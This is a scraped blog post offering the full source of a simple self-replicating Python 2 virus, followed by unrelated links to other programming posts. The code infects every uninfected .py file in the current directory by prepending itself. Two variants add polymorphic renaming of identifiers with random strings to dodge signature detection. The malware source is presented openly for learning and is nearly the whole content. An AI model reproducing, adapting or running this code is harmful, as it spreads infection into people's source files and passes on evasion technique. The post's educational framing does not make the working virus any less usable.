Basic Virus's Infection & Variation [Python]
Learn from here
Initial
#!/usr/bin/python2.7
#MAGIC_STRING_skd83749872
import os
import __main__
import random
def infect(filename):
os.rename(filename, filename + '~')
destination = open(filename, "w")
source = open(filename + "~", "r")
this = open(__main__.__file__, "r")
for line in this:
destination.write(line)
if line.startswith("#MAGIC_STRING_9348788nkmsd"):
break;
for line in source:
destination.write(line)
source.close()
destination.close()
this.close()
def is_infected(filename):
f = open(filename, "r")
return f.readline().startswith("#MAGIC_STRING_skd83749872")
def find_and_infect_files():
path = "."
dirs = os.listdir(path)
for filename in dirs:
if filename.endswith(".py") and not is_infected(filename):
infect(filename)
find_and_infect_files()
print "---------------------------this is silly python virus-----------------"
#MAGIC_STRING_9348788nkmsd
Variation 1
#MAGIC_STRING_skd83749872
import os
import __main__
import random
def infect(filename):
os.rename(filename, filename + "~")
destination = open(filename, "w")
source = open(filename + "~", "r")
this = open(__main__.__file__, "r")
mutations = init_mutation()
for line in this:
destination.write(mutate(line, mutations))
if line.startswith("#MAGIC_STRING_9348788nkmsd"):
break;
for line in source:
destination.write(line)
source.close()
destination.close()
this.close()
def is_infected(filename):
f = open(filename, "r")
return f.readline().startswith("#MAGIC_STRING_skd83749872")
def mutate(line, mutations):
for k, v in mutations.iteritems():
line = line.replace(k, v)
return line
def init_mutation():
original = ['filename', 'find_and_infect_files', 'init_mutation', 'source'
'is_infected', 'infect', 'randstring', 'destination', 'mutate',
'randstring', 'original', 'mutations']
mutated = []
for o in original:
mutated.append((o, rand_string(len(o))))
return dict(mutated)
def rand_string(length):
randstring = ''
for i in range(0, length):
randstring += chr(random.randint(97, 122))
return randstring
def find_and_infect_files():
path = "."
dirs = os.listdir(path)
for filename in dirs:
if filename.endswith(".py") and not is_infected(filename):
infect(filename)
find_and_infect_files()
print "----------this is silly python virus----------"
#MAGIC_STRING_9348788nkmsd
Variation 2
#MAGIC_STRING_skd83749872
import os
import __main__
import random
def tnjjel(ptphbids):
os.rename(ptphbids, ptphbids + "~")
buszvmkioof = open(ptphbids, "w")
source = open(ptphbids + "~", "r")
this = open(__main__.__file__, "r")
ontsgrefv = puezajbvokbom()
for line in this:
buszvmkioof.write(vgaisf(line, ontsgrefv))
if line.startswith("#MAGIC_STRING_9348788nkmsd"):
break;
for line in source:
buszvmkioof.write(line)
source.close()
buszvmkioof.close()
this.close()
def is_tnjjeled(ptphbids):
f = open(ptphbids, "r")
return f.readline().startswith("#MAGIC_STRING_skd83749872")
def vgaisf(line, ontsgrefv):
for k, v in ontsgrefv.iteritems():
line = line.replace(k, v)
return line
def puezajbvokbom():
slrxwwms = ['ptphbids', 'find_and_tnjjel_files', 'puezajbvokbom', 'source'
'is_tnjjeled', 'tnjjel', 'qebmtybcrm', 'buszvmkioof', 'vgaisf',
'qebmtybcrm', 'slrxwwms', 'ontsgrefv']
vgaisfd = []
for o in slrxwwms:
vgaisfd.append((o, rand_string(len(o))))
return dict(vgaisfd)
def rand_string(length):
qebmtybcrm = ''
for i in range(0, length):
qebmtybcrm += chr(random.randint(97, 122))
return qebmtybcrm
def find_and_tnjjel_files():
path = "."
dirs = os.listdir(path)
for ptphbids in dirs:
if ptphbids.endswith(".py") and not is_tnjjeled(ptphbids):
tnjjel(ptphbids)
find_and_tnjjel_files()
print "----------this is silly python virus----------"
#MAGIC_STRING_9348788nkmsd
Bingo !
Basic Virus's Infection & Variation [Python]的更多相关文章
- 【Python】【Basic】MacOS上搭建Python开发环境
1. Python3 1.1. 下载地址:https://www.python.org/downloads/mac-osx/ 1.1.1. PKG包安装: 没啥可说的,点点点,下一步而已,不用手动配置 ...
- 【LeetCode】224. Basic Calculator 解题报告(Python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 栈 参考资料 日期 题目地址:https://lee ...
- Python基础知识(Basic knowledge)
Python基础知识(Basic knowledge) 1.认识Python&基础环境搭建 2.Python基础(上) 3.Python基础(中) 4.Python基础(下) 5.Python ...
- Python初学基础
初入坑Python,打算跟着沫凡小哥的学习视频打个基础,此篇文章做一些简单的学习记录,加油加油加油啦 沫凡小哥的学习网站:https://morvanzhou.github.io/tutorial ...
- 6 Easy Steps to Learn Naive Bayes Algorithm (with code in Python)
6 Easy Steps to Learn Naive Bayes Algorithm (with code in Python) Introduction Here’s a situation yo ...
- 【310】◀▶ Python 日期和时间
参考: python 时间日期计算 Python 日期和时间(菜鸟教程) 8.1. datetime — Basic date and time types python中datetime模块中dat ...
- 还在用背单词App?使用Python开发英语单词自测工具,助你逆袭单词王!
学英语广告 最近也许是刚开学的原因,不管是公众号,还是刷抖音,导出都能看到关于学英语.背单词的广告. 不知道现在学生们背单词买的什么辅导材料.反正我们上学那会,<星火阅读>特别的火.记得当 ...
- python网络框架Twisted
什么是Twisted Twisted是一个用python语言写的事件驱动网络框架,它支持很多种协议,包括UDP,TCP,TLS和其他应用层协议,比如HTTP,SMTP,NNTM,IRC,XMPP/Ja ...
- 结合python版本安装python-devel gcc和g++的区别 安装前做yum搜索
[test@ecs autocloudservices]# yum install python-develLoaded plugins: fastestmirrorLoading mirror sp ...
随机推荐
- javascript学习总结(二):DOM常用方法。
1 获取元素节点 a document.getElementById(id),它返回一个对象.是Document对象特有的函数,它还有这些方法: b element.getElementsByTagN ...
- 原创:C语言打开、下载、删除网页,统计网页字符个数
本程序由本人在华夏联盟的ID闪电笨笨原创,首发地址:http://bbs.hx95.com/ 写此程序希望可以可以激发新手学习C语言的积极性! C语言代码实现功能如下: 1.实现 ...
- Azure China (7) 使用WebMetrix将Web Site发布至Azure China
<Windows Azure Platform 系列文章目录> 本章介绍的是,使用世纪互联运维的Azure云服务. 1.首先我们登陆Azure管理界面.http://manage.wind ...
- oracle数据库字符集US7ASCII,在java中处理中文问题
原来项目中oracle数据库一直是US7ASCII,我新项目对接的时候,查询以及插入中文,出现乱码问题. 暂时未能解决此问题,最终决定每次转码: 查询的时候: List<Record> l ...
- MVC的控制器的激活过程,我们从MvcHandler开始讲,前面的事情以后再讲
一.从MvcHandler开始(不要觉得是代码,让你看懂才是最重要的) using Microsoft.Web.Infrastructure.DynamicValidationHelper; usin ...
- JavaScript基础—dom,事件
Js基础-DOM 1:dom:文档对象模型 Dom就是html页面的模型,将每个标签都作为一个对象,js通过调用dom中的属性,方法就可以对网页中的文本框,层等元素进行编程控制.Dom就是一些让jav ...
- JAVA - IDEA快捷键(精简版)
快捷键 功能 Ctrl + Alt + V 对应eclipse ctrl + l + 2 自动补全 Ctrl + Alt + L 对应eclipse ctrl + shift + o 代码格式化 Ct ...
- Windows Server 2016
Windows Server 2016 正式版教程:安装.激活.设置 http://www.ithome.com/html/win10/261386.htm 2016-9-29 12:57:58来源: ...
- C#控件及常用设计整
C#控件及常用设计整 1.窗体 1 2.Label 控件 3 3.TextBox 控件 4 4.RichTextBox控件 5 5.NumericUpDown 控件 7 ...
- C#解压缩文件
代码: #region 解压 /// <summary> /// 解压 /// </summary> public void UnZip(string zipPath, str ...